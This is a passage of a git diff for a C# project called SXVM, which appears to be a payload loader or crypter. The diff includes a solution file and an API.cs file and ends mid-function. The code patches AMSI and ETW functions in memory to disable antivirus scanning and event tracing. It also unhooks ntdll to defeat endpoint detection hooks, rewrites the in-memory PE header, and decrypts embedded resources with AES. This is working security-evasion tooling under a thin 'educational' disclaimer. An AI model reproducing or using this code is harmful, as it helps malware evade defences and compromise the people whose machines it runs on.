initial commit
This commit is contained in:
@@ -0,0 +1,9 @@
|
||||
Disclaimer for Code Usage and Distribution
|
||||
|
||||
The code and accompanying documentation provided to you are intended strictly for personal use and educational purposes only.
|
||||
|
||||
Redistribution, leaking, or sharing of any part of the codebase, documentation, or related materials—publicly or privately—without explicit permission is strictly prohibited.
|
||||
|
||||
Please be advised that any such unauthorized distribution may result in the immediate termination of business relationship, and the rights are reserved to refuse any future sales, support, or collaboration.
|
||||
|
||||
By using these materials, you acknowledge and agree to these terms.
|
||||
Binary file not shown.
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.3.32819.101
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "SXVM", "SXVM\SXVM.csproj", "{E1902815-B6DF-4BC8-94A6-C61A382FE83D}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Debug|x64 = Debug|x64
|
||||
Release|Any CPU = Release|Any CPU
|
||||
Release|x64 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Debug|x64.Build.0 = Debug|x64
|
||||
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|x64.ActiveCfg = Release|x64
|
||||
{E1902815-B6DF-4BC8-94A6-C61A382FE83D}.Release|x64.Build.0 = Release|x64
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {425280F0-E36D-4ABA-8D95-46F06B7391D3}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
Binary file not shown.
+712
@@ -0,0 +1,712 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO.Compression;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Runtime.ExceptionServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Security.Cryptography;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using static SXVM.Settings;
|
||||
using System.Net;
|
||||
using System.Text.RegularExpressions;
|
||||
|
||||
namespace SXVM
|
||||
{
|
||||
internal static class API
|
||||
{
|
||||
[DllImport("kernel32.dll")]
|
||||
internal static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
internal static extern IntPtr LoadLibrary(string name);
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
internal static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
internal static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint dwSize, out int lpNumberOfBytesRead);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
internal static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, long dwSize, out long lpNumberOfBytesRead);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError = true)]
|
||||
internal static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out long lpNumberOfBytesWritten);
|
||||
|
||||
private static Dictionary<string, Func<object[], object[]>> labelActions = new Dictionary<string, Func<object[], object[]>>();
|
||||
|
||||
internal static void RegisterHandler(string label, Func<object[], object[]> action)
|
||||
{
|
||||
labelActions[label] = action;
|
||||
}
|
||||
|
||||
internal static object[] JMP(string label, object[] args = null, bool Return = false)
|
||||
{
|
||||
if (labelActions.ContainsKey(label))
|
||||
{
|
||||
object[] result = labelActions[label].Invoke(args);
|
||||
if (!Return)
|
||||
{
|
||||
result = null;
|
||||
goto JMPOut;
|
||||
}
|
||||
return result;
|
||||
}
|
||||
else
|
||||
{
|
||||
throw new AccessViolationException();
|
||||
return null;
|
||||
}
|
||||
|
||||
JMPOut:
|
||||
throw new AccessViolationException();
|
||||
return null;
|
||||
}
|
||||
|
||||
internal static void ClearDecryptionKeyFromMemory()
|
||||
{
|
||||
DecryptionKey = @"";
|
||||
DecryptionKey = null;
|
||||
GC.Collect();
|
||||
}
|
||||
|
||||
internal static unsafe IntPtr GetManagedFunctionPointer(void* managedPointer)
|
||||
{
|
||||
long* longAddress = (long*)managedPointer + 1;
|
||||
byte* targetAddress = (byte*)*longAddress;
|
||||
return (IntPtr)targetAddress;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll")]
|
||||
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
private static IntPtr FindBytes(IntPtr startAddress, uint size, byte[] pattern)
|
||||
{
|
||||
try
|
||||
{
|
||||
for (long i = 0; i < size - pattern.Length; i++)
|
||||
{
|
||||
bool found = true;
|
||||
for (int j = 0; j < pattern.Length; j++)
|
||||
{
|
||||
if (Marshal.ReadByte((IntPtr)((long)startAddress + i + j)) != pattern[j])
|
||||
{
|
||||
found = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (found)
|
||||
{
|
||||
return (IntPtr)((long)startAddress + i);
|
||||
}
|
||||
}
|
||||
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
}
|
||||
|
||||
internal static IntPtr FindECallFunction(string moduleName, string functionName)
|
||||
{
|
||||
IntPtr hModule = GetModuleHandle(moduleName);
|
||||
if (hModule == IntPtr.Zero)
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr pFuncName = FindBytes(hModule, uint.MaxValue, System.Text.Encoding.ASCII.GetBytes(functionName + "\0"));
|
||||
if (pFuncName == IntPtr.Zero)
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr ppFuncName = FindBytes(hModule, uint.MaxValue, BitConverter.GetBytes(pFuncName.ToInt64()));
|
||||
if (ppFuncName == IntPtr.Zero)
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr funcAddr = Marshal.ReadIntPtr(ppFuncName - IntPtr.Size);
|
||||
if (funcAddr.ToInt64() < hModule.ToInt64() || funcAddr.ToInt64() >= hModule.ToInt64() + (long)uint.MaxValue)
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
return funcAddr;
|
||||
}
|
||||
|
||||
internal static IntPtr FindECallFunctionViaModule(IntPtr hModule, string functionName)
|
||||
{
|
||||
if (hModule == IntPtr.Zero)
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr pFuncName = FindBytes(hModule, uint.MaxValue, System.Text.Encoding.ASCII.GetBytes(functionName + "\0"));
|
||||
if (pFuncName == IntPtr.Zero)
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr ppFuncName = FindBytes(hModule, uint.MaxValue, BitConverter.GetBytes(pFuncName.ToInt64()));
|
||||
if (ppFuncName == IntPtr.Zero)
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
IntPtr funcAddr = Marshal.ReadIntPtr(ppFuncName - IntPtr.Size);
|
||||
if (funcAddr.ToInt64() < hModule.ToInt64() || funcAddr.ToInt64() >= hModule.ToInt64() + (long)uint.MaxValue)
|
||||
{
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
return funcAddr;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct IMAGE_DOS_HEADER
|
||||
{
|
||||
public ushort e_magic;
|
||||
public ushort e_cblp;
|
||||
public ushort e_cp;
|
||||
public ushort e_crlc;
|
||||
public ushort e_cparhdr;
|
||||
public ushort e_minalloc;
|
||||
public ushort e_maxalloc;
|
||||
public ushort e_ss;
|
||||
public ushort e_sp;
|
||||
public ushort e_csum;
|
||||
public ushort e_ip;
|
||||
public ushort e_cs;
|
||||
public ushort e_lfarlc;
|
||||
public ushort e_ovno;
|
||||
public ushort e_res_0;
|
||||
public ushort e_res_1;
|
||||
public ushort e_res_2;
|
||||
public ushort e_res_3;
|
||||
public ushort e_oemid;
|
||||
public ushort e_oeminfo;
|
||||
public ushort e_res2_0;
|
||||
public ushort e_res2_1;
|
||||
public ushort e_res2_2;
|
||||
public ushort e_res2_3;
|
||||
public ushort e_res2_4;
|
||||
public ushort e_res2_5;
|
||||
public ushort e_res2_6;
|
||||
public ushort e_res2_7;
|
||||
public ushort e_res2_8;
|
||||
public ushort e_res2_9;
|
||||
public uint e_lfanew;
|
||||
}
|
||||
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
internal static void WriteCustomHeader(ushort NewHeader, out ushort OldHeader)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr module = GetModuleHandle(null);
|
||||
if (module != IntPtr.Zero)
|
||||
{
|
||||
IntPtr signaturePtr = IntPtr.Add(module, Marshal.SizeOf(typeof(IMAGE_DOS_HEADER)));
|
||||
ushort signature = (ushort)Marshal.PtrToStructure(signaturePtr, typeof(ushort));
|
||||
if (signature != NewHeader)
|
||||
{
|
||||
OldHeader = signature;
|
||||
uint oldProtect;
|
||||
if (VirtualProtect(module, (UIntPtr)512, 0x40, out oldProtect))
|
||||
{
|
||||
signature = NewHeader;
|
||||
Marshal.StructureToPtr(signature, signaturePtr, false);
|
||||
VirtualProtect(module, (UIntPtr)512, oldProtect, out oldProtect);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
OldHeader = 0;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
OldHeader = 0;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
OldHeader = 0;
|
||||
}
|
||||
}
|
||||
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
private static ProcessModule GetModuleByAddress(IntPtr address)
|
||||
{
|
||||
try
|
||||
{
|
||||
foreach (ProcessModule module in Process.GetCurrentProcess().Modules)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr baseAddress = module.BaseAddress;
|
||||
|
||||
if (address.ToInt64() >= baseAddress.ToInt64() && address.ToInt64() < baseAddress.ToInt64() + module.ModuleMemorySize)
|
||||
{
|
||||
return module;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
internal static IntPtr SearchAoB(string pattern, string ModuleName)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process process = Process.GetCurrentProcess();
|
||||
|
||||
foreach (ProcessModule module in process.Modules)
|
||||
{
|
||||
if (module.ModuleName == ModuleName)
|
||||
{
|
||||
IntPtr baseAddress = module.BaseAddress;
|
||||
|
||||
byte?[] patternBytes = pattern.Split(' ').Select(x =>
|
||||
{
|
||||
if (x == "??")
|
||||
{
|
||||
return null;
|
||||
}
|
||||
return (byte?)Convert.ToByte(x, 16);
|
||||
}).ToArray();
|
||||
|
||||
byte[] memoryBytes = new byte[module.ModuleMemorySize];
|
||||
|
||||
long bytesRead;
|
||||
if (ReadProcessMemory(process.Handle, baseAddress, memoryBytes, memoryBytes.LongLength, out bytesRead) && bytesRead == memoryBytes.Length)
|
||||
{
|
||||
for (long i = 0; i <= memoryBytes.Length - patternBytes.Length; i++)
|
||||
{
|
||||
bool found = true;
|
||||
for (long j = 0; j < patternBytes.Length; j++)
|
||||
{
|
||||
if (patternBytes[j].HasValue && patternBytes[j] != memoryBytes[i + j])
|
||||
{
|
||||
found = false;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
if (found)
|
||||
{
|
||||
IntPtr AOB_Address = (IntPtr)(baseAddress.ToInt64() + i);
|
||||
if (GetModuleByAddress(AOB_Address).ModuleName == ModuleName)
|
||||
{
|
||||
return AOB_Address;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
internal static unsafe void WriteMemoryBlock(IntPtr Address, byte[] src, uint size)
|
||||
{
|
||||
if ((int)size > src.Length)
|
||||
{
|
||||
throw new ArgumentOutOfRangeException(nameof(size), "Size exceeds the length of the source array.");
|
||||
}
|
||||
else
|
||||
{
|
||||
uint OldProtect;
|
||||
VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect);
|
||||
try
|
||||
{
|
||||
void* dest = (void*)Address;
|
||||
for (int i = 0; i < (int)size; i++)
|
||||
{
|
||||
*((byte*)dest + i) = src[i];
|
||||
}
|
||||
GC.Collect();
|
||||
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||
}
|
||||
catch
|
||||
{
|
||||
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||
throw new AccessViolationException();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
internal static unsafe byte[] ReadMemoryBlock(IntPtr Address, uint size)
|
||||
{
|
||||
if (Address == IntPtr.Zero)
|
||||
{
|
||||
throw new ArgumentException("Invalid memory address.");
|
||||
return null;
|
||||
}
|
||||
else if ((int)size <= 0)
|
||||
{
|
||||
throw new ArgumentException("Size must be greater than zero.");
|
||||
return null;
|
||||
}
|
||||
else
|
||||
{
|
||||
uint OldProtect;
|
||||
VirtualProtect(Address, (UIntPtr)size, 0x40, out OldProtect);
|
||||
try
|
||||
{
|
||||
byte[] result = new byte[(int)size];
|
||||
void* src = (void*)Address;
|
||||
for (int i = 0; i < (int)size; i++)
|
||||
{
|
||||
result[i] = *((byte*)src + i);
|
||||
}
|
||||
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||
return result;
|
||||
}
|
||||
catch
|
||||
{
|
||||
VirtualProtect(Address, (UIntPtr)size, OldProtect, out uint _);
|
||||
throw new AccessViolationException();
|
||||
}
|
||||
return null;
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
private static byte[] Original_AmsiScanBuffer = null;
|
||||
private static byte[] Original_EtwEventWrite = null;
|
||||
private static byte[] Original_NtTraceEvent = null;
|
||||
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
internal static void PatchEDR(bool Patch_AMSI, bool Patch_ETW, bool UseWriteProcessMemory)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr AMSI_Library = LoadLibrary(@"amsi.dll");
|
||||
IntPtr NTDLL_Library = LoadLibrary(@"ntdll.dll");
|
||||
IntPtr AmsiScanBuffer_Address = GetProcAddress(AMSI_Library, @"AmsiScanBuffer");
|
||||
IntPtr EtwEventWrite_Address = GetProcAddress(NTDLL_Library, @"EtwEventWrite");
|
||||
IntPtr NtTraceEvent_Address = GetProcAddress(NTDLL_Library, @"NtTraceEvent");
|
||||
Original_AmsiScanBuffer = ReadMemoryBlock(AmsiScanBuffer_Address, 30);
|
||||
Original_EtwEventWrite = ReadMemoryBlock(EtwEventWrite_Address, 30);
|
||||
Original_NtTraceEvent = ReadMemoryBlock(NtTraceEvent_Address, 30);
|
||||
byte[] Patch = { 0xC3 };
|
||||
if (Patch_AMSI == true)
|
||||
{
|
||||
if (UseWriteProcessMemory == true)
|
||||
{
|
||||
WriteProcessMemory(Process.GetCurrentProcess().Handle, AmsiScanBuffer_Address, Patch, (uint)Patch.Length, out _);
|
||||
}
|
||||
else
|
||||
{
|
||||
WriteMemoryBlock(AmsiScanBuffer_Address, Patch, (uint)Patch.Length);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
}
|
||||
if (Patch_ETW == true)
|
||||
{
|
||||
if (UseWriteProcessMemory == true)
|
||||
{
|
||||
WriteProcessMemory(Process.GetCurrentProcess().Handle, EtwEventWrite_Address, Patch, (uint)Patch.Length, out _);
|
||||
WriteProcessMemory(Process.GetCurrentProcess().Handle, NtTraceEvent_Address, Patch, (uint)Patch.Length, out _);
|
||||
}
|
||||
else
|
||||
{
|
||||
WriteMemoryBlock(EtwEventWrite_Address, Patch, (uint)Patch.Length);
|
||||
WriteMemoryBlock(NtTraceEvent_Address, Patch, (uint)Patch.Length);
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
internal static void RestorePatchIntegrity(bool UseWriteProcessMemory, bool Exit = true)
|
||||
{
|
||||
try
|
||||
{
|
||||
IntPtr AMSI_Library = LoadLibrary(@"amsi.dll");
|
||||
IntPtr NTDLL_Library = LoadLibrary(@"ntdll.dll");
|
||||
IntPtr AmsiScanBuffer_Address = GetProcAddress(AMSI_Library, @"AmsiScanBuffer");
|
||||
IntPtr EtwEventWrite_Address = GetProcAddress(NTDLL_Library, @"EtwEventWrite");
|
||||
IntPtr NtTraceEvent_Address = GetProcAddress(NTDLL_Library, @"NtTraceEvent");
|
||||
if (UseWriteProcessMemory == true)
|
||||
{
|
||||
WriteProcessMemory(Process.GetCurrentProcess().Handle, AmsiScanBuffer_Address, Original_AmsiScanBuffer, (uint)Original_AmsiScanBuffer.Length, out _);
|
||||
WriteProcessMemory(Process.GetCurrentProcess().Handle, EtwEventWrite_Address, Original_EtwEventWrite, (uint)Original_EtwEventWrite.Length, out _);
|
||||
WriteProcessMemory(Process.GetCurrentProcess().Handle, NtTraceEvent_Address, Original_NtTraceEvent, (uint)Original_NtTraceEvent.Length, out _);
|
||||
}
|
||||
else
|
||||
{
|
||||
WriteMemoryBlock(AmsiScanBuffer_Address, Original_AmsiScanBuffer, (uint)Original_AmsiScanBuffer.Length);
|
||||
WriteMemoryBlock(EtwEventWrite_Address, Original_EtwEventWrite, (uint)Original_EtwEventWrite.Length);
|
||||
WriteMemoryBlock(NtTraceEvent_Address, Original_NtTraceEvent, (uint)Original_NtTraceEvent.Length);
|
||||
}
|
||||
if (Exit == true)
|
||||
{
|
||||
throw new AccessViolationException();
|
||||
}
|
||||
else
|
||||
{
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
if (Exit == true)
|
||||
{
|
||||
throw new AccessViolationException();
|
||||
}
|
||||
else
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
internal static byte[] ExtractResource(String filename)
|
||||
{
|
||||
System.Reflection.Assembly a = System.Reflection.Assembly.GetExecutingAssembly();
|
||||
using (Stream resFilestream = a.GetManifestResourceStream(filename))
|
||||
{
|
||||
if (resFilestream == null) return null;
|
||||
byte[] ba = new byte[resFilestream.Length];
|
||||
resFilestream.Read(ba, 0, ba.Length);
|
||||
return ba;
|
||||
}
|
||||
}
|
||||
|
||||
internal static byte[] Decompress(byte[] data)
|
||||
{
|
||||
using (MemoryStream input = new MemoryStream(data))
|
||||
{
|
||||
using (MemoryStream output = new MemoryStream())
|
||||
{
|
||||
using (DeflateStream dstream = new DeflateStream(input, CompressionMode.Decompress))
|
||||
{
|
||||
dstream.CopyTo(output);
|
||||
}
|
||||
return output.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
internal static byte[] AESDecrypt(byte[] input, string Pass)
|
||||
{
|
||||
System.Security.Cryptography.RijndaelManaged AES = new System.Security.Cryptography.RijndaelManaged();
|
||||
byte[] hash = new byte[32];
|
||||
byte[] temp = new MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.ASCII.GetBytes(Pass));
|
||||
Array.Copy(temp, 0, hash, 0, 16);
|
||||
Array.Copy(temp, 0, hash, 15, 16);
|
||||
AES.Key = hash;
|
||||
AES.Mode = System.Security.Cryptography.CipherMode.ECB;
|
||||
System.Security.Cryptography.ICryptoTransform DESDecrypter = AES.CreateDecryptor();
|
||||
return DESDecrypter.TransformFinalBlock(input, 0, input.Length);
|
||||
}
|
||||
|
||||
internal static class Unhooker
|
||||
{
|
||||
[HandleProcessCorruptedStateExceptions]
|
||||
internal static unsafe void Unhook(string a)
|
||||
{
|
||||
try
|
||||
{
|
||||
bool wow64;
|
||||
IsWow64Process(Process.GetCurrentProcess().Handle, out wow64);
|
||||
|
||||
string systemDirectory = Path.GetPathRoot(Environment.SystemDirectory) + @"Windows\System32\";
|
||||
if (wow64 && IntPtr.Size == 4)
|
||||
{
|
||||
systemDirectory = Path.GetPathRoot(Environment.SystemDirectory) + @"Windows\SysWOW64\";
|
||||
}
|
||||
|
||||
IntPtr dll = GetLoadedModuleAddress(a);
|
||||
if (dll == IntPtr.Zero) return;
|
||||
MODULEINFO moduleInfo;
|
||||
if (!GetModuleInformation(Process.GetCurrentProcess().Handle, dll, out moduleInfo, (uint)sizeof(MODULEINFO))) return;
|
||||
|
||||
IntPtr dllFile = CreateFileA(systemDirectory + a, 0x80000000, 1, IntPtr.Zero, 3, 0, IntPtr.Zero);
|
||||
if (dllFile == (IntPtr)(-1))
|
||||
{
|
||||
CloseHandle(dllFile);
|
||||
return;
|
||||
}
|
||||
|
||||
IntPtr dllMapping = CreateFileMapping(dllFile, IntPtr.Zero, 0x1000002, 0, 0, null);
|
||||
if (dllMapping == IntPtr.Zero)
|
||||
{
|
||||
CloseHandle(dllMapping);
|
||||
return;
|
||||
}
|
||||
|
||||
IntPtr dllMappedFile = MapViewOfFile(dllMapping, 4, 0, 0, IntPtr.Zero);
|
||||
if (dllMappedFile == IntPtr.Zero) return;
|
||||
|
||||
int ntHeaders = Marshal.ReadInt32((IntPtr)((long)moduleInfo.BaseOfDll + 0x3c));
|
||||
short numberOfSections = Marshal.ReadInt16((IntPtr)((long)dll + ntHeaders + 0x6));
|
||||
short sizeOfOptionalHeader = Marshal.ReadInt16(dll, ntHeaders + 0x14);
|
||||
|
||||
for (short i = 0; i < numberOfSections; i++)
|
||||
{
|
||||
IntPtr sectionHeader = (IntPtr)((long)dll + ntHeaders + 0x18 + sizeOfOptionalHeader + i * 0x28);
|
||||
if (Marshal.ReadByte(sectionHeader) == '.' &&
|
||||
Marshal.ReadByte((IntPtr)((long)sectionHeader + 1)) == 't' &&
|
||||
Marshal.ReadByte((IntPtr)((long)sectionHeader + 2)) == 'e' &&
|
||||
Marshal.ReadByte((IntPtr)((long)sectionHeader + 3)) == 'x' &&
|
||||
Marshal.ReadByte((IntPtr)((long)sectionHeader + 4)) == 't')
|
||||
{
|
||||
int virtualAddress = Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0xc));
|
||||
uint virtualSize = (uint)Marshal.ReadInt32((IntPtr)((long)sectionHeader + 0x8));
|
||||
uint oldProtect;
|
||||
VirtualProtectA((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, 0x40, out oldProtect);
|
||||
memcpy((IntPtr)((long)dll + virtualAddress), (IntPtr)((long)dllMappedFile + virtualAddress), (IntPtr)virtualSize);
|
||||
VirtualProtectA((IntPtr)((long)dll + virtualAddress), (IntPtr)virtualSize, oldProtect, out oldProtect);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
CloseHandle(dllMapping);
|
||||
CloseHandle(dllFile);
|
||||
FreeLibrary(dll);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
private struct MODULEINFO
|
||||
{
|
||||
public IntPtr BaseOfDll;
|
||||
public uint SizeOfImage;
|
||||
public IntPtr EntryPoint;
|
||||
}
|
||||
|
||||
private static CloseHandleD CloseHandle = Marshal.GetDelegateForFunctionPointer<CloseHandleD>(GetLibraryAddress("kernel32.dll", "CloseHandle"));
|
||||
private static FreeLibraryD FreeLibrary = Marshal.GetDelegateForFunctionPointer<FreeLibraryD>(GetLibraryAddress("kernel32.dll", "FreeLibrary"));
|
||||
private static VirtualProtectD VirtualProtectA = Marshal.GetDelegateForFunctionPointer<VirtualProtectD>(GetLibraryAddress("kernel32.dll", "VirtualProtect"));
|
||||
private static CreateFileAD CreateFileA = Marshal.GetDelegateForFunctionPointer<CreateFileAD>(GetLibraryAddress("kernel32.dll", "CreateFileA"));
|
||||
private static CreateFileMappingD CreateFileMapping = Marshal.GetDelegateForFunctionPointer<CreateFileMappingD>(GetLibraryAddress("kernel32.dll", "CreateFileMappingA"));
|
||||
private static MapViewOfFileD MapViewOfFile = Marshal.GetDelegateForFunctionPointer<MapViewOfFileD>(GetLibraryAddress("kernel32.dll", "MapViewOfFile"));
|
||||
private static memcpyD memcpy = Marshal.GetDelegateForFunctionPointer<memcpyD>(GetLibraryAddress("msvcrt.dll", "memcpy"));
|
||||
private static GetModuleInformationD GetModuleInformation = Marshal.GetDelegateForFunctionPointer<GetModuleInformationD>(GetLibraryAddress("psapi.dll", "GetModuleInformation"));
|
||||
private static IsWow64ProcessD IsWow64Process = Marshal.GetDelegateForFunctionPointer<IsWow64ProcessD>(GetLibraryAddress("kernel32.dll", "IsWow64Process"));
|
||||
|
||||
private delegate bool CloseHandleD(IntPtr handle);
|
||||
|
||||
private delegate bool FreeLibraryD(IntPtr module);
|
||||
|
||||
private delegate int VirtualProtectD(IntPtr address, IntPtr size, uint newProtect, out uint oldProtect);
|
||||
|
||||
private delegate IntPtr CreateFileAD(string fileName, uint desiredAccess, uint shareMode, IntPtr securityAttributes, uint creationDisposition, uint flagsAndAttributes, IntPtr templateFile);
|
||||
|
||||
private delegate IntPtr CreateFileMappingD(IntPtr file, IntPtr fileMappingAttributes, uint protect, uint maximumSizeHigh, uint maximumSizeLow, string name);
|
||||
|
||||
private delegate IntPtr MapViewOfFileD(IntPtr fileMappingObject, uint desiredAccess, uint fileOffsetHigh, uint fileOffsetLow, IntPtr numberOfBytesToMap);
|
||||
|
||||
[UnmanagedFunctionPointer(CallingConvention.Cdecl)]
|
||||
private delegate IntPtr memcpyD(IntPtr dest, IntPtr src, IntPtr count);
|
||||
|
||||
private delegate bool GetModuleInformationD(IntPtr process, IntPtr module, out MODULEINFO moduleInfo, uint size);
|
||||
|
||||
private delegate bool IsWow64ProcessD([In] IntPtr hProcess, [Out] out bool wow64Process);
|
||||
|
||||
private static IntPtr GetLibraryAddress(string DLLName, string FunctionName)
|
||||
{
|
||||
return GetExportAddress(GetLoadedModuleAddress(DLLName), FunctionName);
|
||||
}
|
||||
|
||||
private static IntPtr GetLoadedModuleAddress(string DLLName)
|
||||
{
|
||||
ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
|
||||
foreach (ProcessModule Mod in ProcModules)
|
||||
{
|
||||
if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
|
||||
{
|
||||
return Mod.BaseAddress;
|
||||
}
|
||||
}
|
||||
return IntPtr.Zero;
|
||||
}
|
||||
|
||||
private static IntPtr GetExportAddress(IntPtr ModuleBase, string ExportName)
|
||||
{
|
||||
IntPtr FunctionPtr = IntPtr.Zero;
|
||||
try
|
||||
{
|
||||
Int32 PeHeader = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + 0x3C));
|
||||
Int16 OptHeaderSize = Marshal.ReadInt16((IntPtr)(ModuleBase.ToInt64() + PeHeader + 0x14));
|
||||
Int64 OptHeader = ModuleBase.ToInt64() + PeHeader + 0x18;
|
||||
Int16 Magic = Marshal.ReadInt16((IntPtr)OptHeader);
|
||||
Int64 pExport = 0;
|
||||
if (Magic == 0x010b)
|
||||
{
|
||||
pExport = OptHeader + 0x60;
|
||||
}
|
||||
else
|
||||
{
|
||||
pExport = OptHeader + 0x70;
|
||||
}
|
||||
|
||||
Int32 ExportRVA = Marshal.ReadInt32((IntPtr)pExport);
|
||||
Int32 OrdinalBase = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x10));
|
||||
Int32 NumberOfFunctions = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x14));
|
||||
Int32 NumberOfNames = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x18));
|
||||
Int32 FunctionsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x1C));
|
||||
Int32 NamesRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x20));
|
||||
Int32 OrdinalsRVA = Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + ExportRVA + 0x24));
|
||||
|
||||
for (int i = 0; i < NumberOfNames; i++)
|
||||
{
|
||||
string FunctionName = Marshal.PtrToStringAnsi((IntPtr)(ModuleBase.ToInt64() + Marshal.ReadInt32((IntPtr)(ModuleBase.ToInt64() + NamesRVA + i * 4))));
|
||||
if (FunctionName.Equals(ExportName, StringComparison.OrdinalIgnoreCase))
